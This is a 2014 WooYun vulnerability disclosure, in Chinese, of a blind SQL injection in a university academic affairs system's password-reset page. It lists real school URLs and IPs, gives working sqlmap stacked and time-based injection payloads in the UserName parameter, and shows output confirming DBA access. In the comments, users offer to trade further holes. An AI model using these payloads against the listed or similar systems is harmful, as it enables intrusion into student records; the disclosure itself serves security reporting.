当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077891

漏洞标题：某教务管理系统SQL盲注一枚

相关厂商：长春凌展教务管理系统

漏洞作者： 1c3z

提交时间：2014-09-30 17:07

修复时间：2014-12-26 17:08

公开时间：2014-12-26 17:08

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-30： 细节已通知厂商并且等待厂商处理中
2014-10-05： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-11-29： 细节向核心白帽子及相关领域专家公开
2014-12-09： 细节向普通白帽子公开
2014-12-19： 细节向实习白帽子公开
2014-12-26： 细节向公众公开

简要描述：

SQL盲注！
涉及到多家学校的教务系统

详细说明：

注入点：teachweb/WebFormResetPassword.aspx
实例：
安徽工贸职业技术学院 http://60.171.18.27/teachweb/WebFormResetPassword.aspx
吉林农业大学 http://202.198.0.40:7925/teachweb/WebFormResetPassword.aspx
沈阳大学 http://sdjw.syu.edu.cn/WebFormResetPassword.aspx
南昌航空大学 http://jwc.nchu.edu.cn/teachweb/WebFormResetPassword.aspx
由于盲注太慢，基本就是点到为止
下面是对南昌航空大学的注入过程
判断注入类型

超时.PNG


上SQLMAP

成功注入.PNG


成功跑出数据库名
点到为止！！

漏洞证明：

权限判断为DBA

Place: POST
Parameter: UserName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=dDwtMTQ5NzM1MTQ0Mjt0PDtsPGk8MT47PjtsPHQ8O2w8aTwzPjtpPDU
+Oz47bDx0PHA8O3A8bDxPbkNsaWNrOz47bDxyZXR1cm4gY2hlY2tJc051bGwoKTs+Pj47Oz47dDxwPHA
8bDxUZXh0Oz47bDzlj6rmnInlrabnlJ/lkozmlZnluIjmiY3og73ph43orr7lr4bnoIHvvIE7Pj47Pjs
7Pjs+Pjs+Pjs+C19bfxGH4LDi8AqsMyWklhMm0cw=&role=student&UserName=1'); WAITFOR DEL
AY '0:0:5'--&BtnResetPassword=%D6%D8%C9%E8%C3%DC%C2%EB
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=dDwtMTQ5NzM1MTQ0Mjt0PDtsPGk8MT47PjtsPHQ8O2w8aTwzPjtpPDU
+Oz47bDx0PHA8O3A8bDxPbkNsaWNrOz47bDxyZXR1cm4gY2hlY2tJc051bGwoKTs+Pj47Oz47dDxwPHA
8bDxUZXh0Oz47bDzlj6rmnInlrabnlJ/lkozmlZnluIjmiY3og73ph43orr7lr4bnoIHvvIE7Pj47Pjs
7Pjs+Pjs+Pjs+C19bfxGH4LDi8AqsMyWklhMm0cw=&role=student&UserName=1') WAITFOR DELA
Y '0:0:5'--&BtnResetPassword=%D6%D8%C9%E8%C3%DC%C2%EB
---
[10:41:19] [INFO] testing Microsoft SQL Server
[10:41:19] [INFO] confirming Microsoft SQL Server
[10:41:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2000
[10:41:19] [INFO] testing if current user is DBA
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] Y
current user is DBA:    True

修复方案：

把这个文件删除吧，改密码直接到学校教务处人工改吧！！
求高RANK
PS：估计厂商都找不到了，南昌航空大学注册成为了厂商！！！

版权声明：转载请注明来源 1c3z@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-26 17:08

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-10-20 05:05 | wellsun ( 路人 | Rank:0 漏洞数:1 | www.wellsun.com)

    @ 1c3z 对这套系统有兴趣，群主加教务系统群交流：Q:310068074 时候备注：凌展

  2. 2015-01-21 17:51 | F0rm ( 路人 | Rank:0 漏洞数:2 | )

    这套系统貌似用的挺少的，可以一起交流

  3. 2015-01-29 18:19 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少，你可别骗我！！！)

    @F0rm 想交流什么？

  4. 2015-01-31 17:57 | F0rm ( 路人 | Rank:0 漏洞数:2 | )

    @1c3z 就是交流一下这个系统的洞

  5. 2015-02-04 16:06 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少，你可别骗我！！！)

    @F0rm 没有了。。。只发现了这个！

  6. 2015-02-04 18:10 | F0rm ( 路人 | Rank:0 漏洞数:2 | )

    @1c3z 这个注入好慢。。这教务系统默认还有个接口能执行命令

  7. 2015-02-10 14:09 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少，你可别骗我！！！)

    @F0rm 盲注嘛，肯定慢。。